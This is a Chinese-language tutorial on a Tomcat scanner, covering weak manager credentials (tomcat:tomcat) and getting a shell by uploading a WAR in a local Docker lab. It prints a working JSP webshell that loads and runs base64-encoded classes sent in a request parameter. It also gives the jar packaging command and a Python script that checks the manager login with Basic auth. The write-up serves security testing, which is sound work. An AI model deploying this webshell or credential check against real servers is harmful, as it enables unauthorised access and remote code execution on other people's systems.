Tomcat 相关漏洞扫描器(二)
本文介绍了Tomcat 7+版本存在的弱口令和后台getshell漏洞。通过配置conf/tomcat-users.xml文件,可以设置不同权限的用户,但默认安装的Tomcat 8无用户且只允许本地访问。测试环境存在弱口令tomcat:tomcat,登录后台后可上传war包getshell。文中提供了jsp木马代码和打包方法,并说明了漏洞利用步骤。该漏洞利用的关键在于获取弱口令权限后,通过后台部署
前言
该漏洞扫描器用来测试Tomcat框架下的站点是否存在漏洞
一、Tomcat7+ 弱口令 && 后台getshell漏洞
Tomcat版本:8.0
环境说明
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:
manager(后台管理)
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)
admin-gui 拥有html页面权限
admin-script 拥有text接口权限
这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
在conf/tomcat-users.xml文件中配置用户的权限:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0"><role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
可见,用户tomcat拥有上述所有权限,密码是
tomcat。正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击
漏洞测试
无需编译,直接启动整个环境:
docker compose up -d
打开tomcat管理页面 http://127.0.0.1:8081/manager/html,输入弱密码
tomcat:tomcat,即可访问后台。
关键点:该Tomcata环境后台登录存在弱口令,因此可以通过 BP 爆破的形式来获取弱口令,只是由于该登录存在登录次数限制,因此只是在该环境下存在弱口令,我们已经知道该弱口令,所以真正要做的是直接登录弱口令后,在后台上传 war 包然后 getshell。


登录成功后上传 war 包,然后getshell

这里的 war 包找一个 jsp 木马进行打包
1.jsp
<%!
class U extends ClassLoader {
U(ClassLoader c){
super(c);
}
public Class g(byte[] b){
return super.defineClass(b,0,b.length);
}
}
public byte[] base64Decode(String str) throws Exception{
try{
Class clazz =Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
}catch (Exception e){
Class clazz =Class.forName("java.util.Base64");
Object decoder =clazz.getMethod("getDecoder").invoke(null);
return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
}
}
%>
<%
String cls =request.getParameter("cmd");
if(cls != null){
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
打包:jar cvf tomcat.war a.jsp


访问:http://127.0.0.1:8081/tomcat/1.jsp ,证明上传war成功

测试tomcat 8.0 版本后台登录是否存在弱口令:
import requests
import base64
url = 'http://127.0.0.1:8081/manager/html'
def tomcat_weak_password(url):
users = ['tomcat']
passwords = ['tomcat']
for user in users:
for password in passwords:
tomcat_passwd = user.strip()+':'+password.strip()
#base64编码
encoded_password = base64.b64encode(tomcat_passwd.encode('utf-8'))
encoded_password_end = 'Basic '+str(encoded_password,'utf-8')
headers = {
'Content-Type': 'application/x-www',
'Authorization':encoded_password_end,
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36'
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
print('存在弱口令')
break
else:
print('不存在弱口令')
tomcat_weak_password(url);更多推荐
所有评论(0)